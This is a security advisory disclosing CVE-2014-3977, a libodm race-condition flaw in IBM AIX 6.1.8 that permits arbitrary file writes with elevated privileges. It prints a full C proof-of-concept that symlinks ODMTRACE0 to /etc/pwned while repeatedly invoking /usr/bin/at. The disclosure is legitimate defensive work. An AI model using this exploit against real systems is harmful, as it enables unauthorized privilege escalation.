IBM AIX 6.1.8 – ‘libodm’ Arbitrary File Write
Vulnerability title: Privilege Escalation in IBM AIX CVE: CVE-2014-3977 Vendor: IBM Product: AIX Affected version: 6.1.8 and later Fixed version: N/A Reported by: Tim Brown Details: It has been identified that libodm allows privilege escalation via arbitrary file writes with elevated privileges (utilising SetGID and SetUID programs). The following will cause a new file /etc/pwned to be created with permissions of rw-rw-rw: #include <stdlib.h> #include <unistd.h> #include <stdio.h> int pwnedflag; int main(int argc, char **argv) { pwnedflag = 0; umask(0); if (fork()) { setenv("ODMERR", "1", 1); while (!pwnedflag) { if (!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Race won...\r\n"); unsetenv("ODMERR"); exit(EXIT_SUCCESS); } system("/usr/bin/at"); } } else { while (!pwnedflag) { symlink("/etc/pwned", "ODMTRACE0"); if (!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Race won...\r\n"); exit(EXIT_SUCCESS); } unlink("ODMTRACE0"); } } } It is believed this is a side affect of CVE-2012-2179 being incorrectly resolved. As understood, prior to CVE-2012-2179 being fixed, libodm would simply open ODMTRACE0 and write to it assuming ODMERR=1. It is believed that the fix that was applied was to check for the presence of ODMTRACE0 and increment until no file was found. It is necessary to win a time of check, time of use race condition by creating a symlink from the ODMTRACE0 in the current working directory to the target file under hoping that the link will be added after the check has been made that ODMTRACE0 does not exist. Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3977/ Copyright: Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. |